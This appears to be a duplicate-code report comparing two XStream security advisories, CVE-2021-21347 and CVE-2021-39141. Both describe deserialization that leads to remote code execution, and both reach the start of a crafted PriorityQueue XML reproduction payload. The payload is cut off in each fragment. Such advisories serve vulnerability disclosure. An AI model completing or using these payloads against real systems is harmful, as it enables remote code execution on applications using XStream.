xstream-distribution/src/content/CVE-2021-21347.html [24:41]: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
xstream-distribution/src/content/CVE-2021-39141.html [24:41]:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
affected, who followed the recommendation to setup XStream's security
framework with a whitelist limited to the minimal required types.
Description
The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.
Steps to Reproduce
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -